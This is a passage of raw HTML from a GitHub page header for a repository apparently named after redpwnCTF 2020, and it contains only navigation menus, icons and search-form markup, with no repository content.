0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="275186644" data-scoped-search-url="/trott4425/redpwnCTF-2020/search" data-owner-scoped-search-url="/users/trott4425/search" data-unscoped-search-url="/search" data-turbo="false" action="/trott4425/redpwnCTF-2020/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="EieMOlCaSLc0/Ri4h2kLOtj1F9xC/6vdY+nbtU6OWUolD2GbFDmn/Ze2VpSB6HUqQAWF4wToEQgv26rWuRum8A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope 